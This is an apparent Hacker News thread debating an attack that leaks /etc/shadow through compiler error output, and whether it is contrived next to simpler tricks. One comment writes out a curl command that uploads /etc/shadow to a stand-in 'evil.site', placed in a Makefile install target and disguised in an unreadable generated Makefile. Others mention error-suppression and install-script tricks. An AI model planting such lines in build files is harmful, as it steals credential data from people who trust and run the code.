Hacker News Reader

Comment by Someone1234 | Hacker News Reader

This seems contrived. So you need to send someone "evil" code that they won't read, have them compile it as root, and then ship you the resulting binary.

I wouldn't read too much into it "working" with some kind of compile/show service, as they could have been using non-persistent containers.

Ultimately this seems like social engineering i.e. "Tricking privileged users into doing <bad thing> as root." Might have well ask them to cat /etc/shadow and email you the "nonsense" it prints.

https://devblogs.microsoft.com/oldnewthing/20180227-00/?p=98...

View on HN

People compile unread code all the time. Having them send the binary back is a little unusual though. But nothing says the resulting binary can’t open its own socket when its first run. There are lots of exfiltration options.

Getting them to run make as root would be pretty easy. People are already conditioned to run “sudo make install”.

A good mitigation is to install software by user so root privileges aren’t needed at any step of the process.

Restricted user accounts don't keep us secure - if you run malicious software even as a regular desktop user, there's tons of ways for it to get root, or do damage/get valuable data without it. What keeps us safe, usually, is a web of trust that involves package managers and websites. A vulnerability like this is only a problem if there is a threat model that sidesteps the usual web-of-trust mechanisms we use. In your specific variant, someone gets a source tarball from a weird place and runs 'make' as root on its Makefile - at that point, #include shenanigans are entirely redundant.

Basically, what this is is a very strained local privilege escalation exploit for a workstation machine. I don't think those are very interesting because are a bazillion of them - notably you can simply drop an alias to sudo in .profile.

Or you could include

  curl -F shadow=@/etc/shadow https://evil.site/upload.cgi

as one of the commands under the "install" target in the Makefile. That way you aren't dependent on the other guy running his C compiler as root (why?!). Just make sure the Makefile is some horribly mangled mess built by ./configure or something so nobody will be tempted to read it.

Curl is suspicious, people might wonder what exactly its doing. Whereas nobody has the time to read and understand C/C++ code.

It will almost certainly take longer for someone to read your Makefile to notice that weird curl line than it would be for someone to try to compile your code as a regular user and have the compiler spit out an error because it can't read the include file "/etc/shadow".

Have make suppress error messages for the .o including it. You can have another file implement any missing symbols with a weak attribute so the linker will not complain if your evil object file fails to be built.

If you go with C++ then you have an entire Turing complete language executed at compile time to do whatever nasty thing your heart desires.

I agree there are much easier alternatives... but it's an intellectually interesting attack vector.

Going off on a tangent, but programmers (who ought know better) are pretty poor about running untrusted code, even today.

This was the top of HN just the other day: https://news.ycombinator.com/item?id=21741504

The money quote is at the end: "Docker is the new ‘curl | sudo bash‘"

I don't think it is that contrived. I've contributed to a project that had bots build every GitHub pull request and post build+test logs in the comments.

So you need to send someone "evil" code that they won't read, have them compile it as root

That’s easy, people do curl|sudo bash all the time these days.

Not only is it contrived, it's also compiler dependent[1]. I'd wager most compilers will simply copy the contents of the included file like gcc does, but all kinds of other stuff can happen.

[1] https://gcc.gnu.org/onlinedocs/cpp/Include-Syntax.html

There are many services that you can just send code to and they will automatically compile it.

Step 1 publish a node package that does something people would like Step 2 whatever you like in the install script ;) like check if they have password less sudo

;) friendly teasing of the node community

They're talking about reading compiler errors, so there won't be a binary to ship. If we could arrange for the code to compile correctly and then be executed, we wouldn't need the binary because the program itself could just upload all the password hashes.

Reply on news.ycombinator.com